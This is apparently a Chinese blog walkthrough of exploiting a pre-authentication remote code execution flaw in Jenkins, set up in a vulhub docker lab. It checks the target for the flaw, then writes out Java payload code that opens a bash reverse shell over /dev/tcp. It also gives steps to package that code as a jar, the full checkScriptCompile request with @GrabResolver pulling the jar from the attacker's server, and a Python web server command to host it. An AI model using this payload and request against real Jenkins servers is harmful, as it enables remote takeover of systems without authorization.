我们先把环境启起来得。我用的是https://github.com/vulhub 一个不错的docker环境。
1.png

我们从实战的角度出发,我们接着就要判断该Jenkins是否有漏洞存在.
这个时候我们需要访问/securityRealm/user/admin/ 对比图一和图二还是有区别的吧
2.png

然后就是构造PAYLOAD了。在网上查询了一些资料PAYLOAD代码如下

public class Payload {
  public Payload() {
   try {
    String payload = "touch /tmp/success";
    String[] cmds = { "/bin/bash", "-c", payload };
    java.lang.Runtime.getRuntime().exec(cmds);
} catch (Exception e) {
}

}
}
这个PAYLOAD怎么能行,就是一个在/tmp目录下创建一个success文件,我们最终的目的就是拿shell的对吧。
改下PAYLOAD反弹shell.

    public class Payload {
  public Payload() {
   try {
    String payload = "bash -i >& /dev/tcp/0.0.0.0/1234 0>&1 &";
    String[] cmds = { "/bin/bash", "-c", payload };
    java.lang.Runtime.getRuntime().exec(cmds);
} catch (Exception e) {
}

}
}
然后接着就是编译这个PAYLOAD 先找个地方新建一个Payload.java 然后执行javac Testjk.java 编译成class文件
然后依次创建META-INF 这个文件夹,在这个文件夹下再创建一个子文件夹并且命名为services 然后echo Payload > META-INF/services/org.codehaus.groovy.plugins.Runners 然后就是编译打包成jar 用jar cvf payload-1.jar
PS:这个命令我一直没执行成功过 估计是版本问题我java是1.8的 我估计这个命令java1.6才可以执行成功吧.
这个编译过程很总要,我用的命令是 jar -cvf payload-1.jar test<-必须更文件夹名这个就郁闷了。编译出来加载是没有成功。所以这里我就不抓图了。
下面就来讲讲这种情况怎么办呢?
我用的是这个脚本
https://github.com/wetw0rk/Exploit-Development/blob/master/CVE-2019-1003000%20%26%26%20CVE-2018-1999002%20-%20preAuth%20Jenkins%20RCE/sploit/jenkins-preauth-rce-exploit.py。但是这个脚本里面有个
3.png

我在kailinux本地,测试完全没问题,然后把IP改为VPS就报错了。HHHH所以我们还是手动来
4.png

看了看他这个EXP大概就是生成一个文件夹package然后里面的子文件夹名字随机.其实最重要就是哪个payload改成你自己VPSIP和监听端口。
5.png

好了直接上手动的payload

descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile
?value=
@GrabConfig(disableChecksums=true)%0a
@GrabResolver(name='BhBlkYuZZJ', root='http://你的地址/')%0a
@Grab(group='package', module='BhBlkYuZZJ', version='1')%0a
import BhBlkYuZZJ;

至于name group module version import 为什么要写这个。看我的图,今天头疼就不多说了
6.png

接着把jar包扔vps上去记得文件夹要对应你上的payload,不说了看图
7.png
LET'go
记得在根目录下开启python -m simplehttpserver 不然找不到payload的路劲的

8.png

9png.png

一切OK了。

preView